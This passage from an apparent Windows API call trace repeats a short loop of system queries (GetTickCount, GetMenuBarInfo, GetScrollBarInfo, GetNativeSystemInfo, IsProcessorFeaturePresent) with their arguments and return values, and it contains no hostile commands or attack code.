lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.274] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.274] GetTickCount () returned 0x19f3b [0043.274] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.274] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.274] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.274] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.274] GetTickCount () returned 0x19f3b [0043.274] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.274] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.274] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.274] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.274] GetTickCount () returned 0x19f3b [0043.274] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.274] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.274] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.274] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.274] GetTickCount () returned 0x19f3b [0043.274] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.274] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.274] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.274] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.275] GetTickCount () returned 0x19f3b [0043.275] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.275] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.275] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.275] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.275] GetTickCount () returned 0x19f3b [0043.275] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.275] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.275] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.275] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.275] GetTickCount () returned 0x19f3b [0043.275] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.275] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.275] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.275] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.275] GetTickCount () returned 0x19f3b [0043.275] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.275] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.275] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.275] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.275] GetTickCount () returned 0x19f3b [0043.275] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.275] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.275] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.275] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.276] GetTickCount () returned 0x19f3b [0043.276] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.276] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.276] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.276] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.276] GetTickCount () returned 0x19f3b [0043.276] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.276] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.276] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.276] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.276] GetTickCount () returned 0x19f3b [0043.276] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.276] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.276] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.276] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.276] GetTickCount () returned 0x19f3b [0043.276] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.276] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.276] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.276] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.276] GetTickCount () returned 0x19f3b [0043.276] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.276] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.276] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.276] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.277] GetTickCount () returned 0x19f3b [0043.277] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.277] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.277] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.277] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.277] GetTickCount () returned 0x19f3b [0043.277] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.277] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.277] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.277] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.277] GetTickCount () returned 0x19f3b [0043.277] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.277] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.277] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.277] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.277] GetTickCount () returned 0x19f3b [0043.277] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.277] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.277] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.277] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.277] GetTickCount () returned 0x19f3b [0043.277] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.277] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.277] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.277] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.277] GetTickCount () returned 0x19f3b [0043.278] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.278] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.278] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.278] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.278] GetTickCount () returned 0x19f3b [0043.278] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.278] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.278] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.278] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.278] GetTickCount () returned 0x19f3b [0043.278] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.278] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.278] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.278] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.278] GetTickCount () returned 0x19f3b [0043.278] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.278] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.278] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.278] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.278] GetTickCount () returned 0x19f3b [0043.278] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.278] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.279] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.279] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.279] GetTickCount () returned 0x19f4a [0043.279] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.279] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.279] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.279] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.279] GetTickCount () returned 0x19f4a [0043.279] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.279] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.279] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.279] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.279] GetTickCount () returned 0x19f4a [0043.279] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.279] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.279] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.279] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.279] GetTickCount () returned 0x19f4a [0043.279] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.279] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.279] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.279] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.280] GetTickCount () returned 0x19f4a [0043.280] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.280] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.280] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.280] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.280] GetTickCount () returned 0x19f4a [0043.280] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.280] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.280] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.280] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.280] GetTickCount () returned 0x19f4a [0043.280] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.280] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.280] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.280] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.280] GetTickCount () returned 0x19f4a [0043.280] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.280] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.280] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.280] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.280] GetTickCount () returned 0x19f4a [0043.280] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.280] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.280] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.281] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.281] GetTickCount () returned 0x19f4a [0043.281] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.281] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.281] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.281] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.281] GetTickCount () returned 0x19f4a [0043.281] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.281] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.281] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.281] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.281] GetTickCount () returned 0x19f4a [0043.281] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.281] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.281] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, 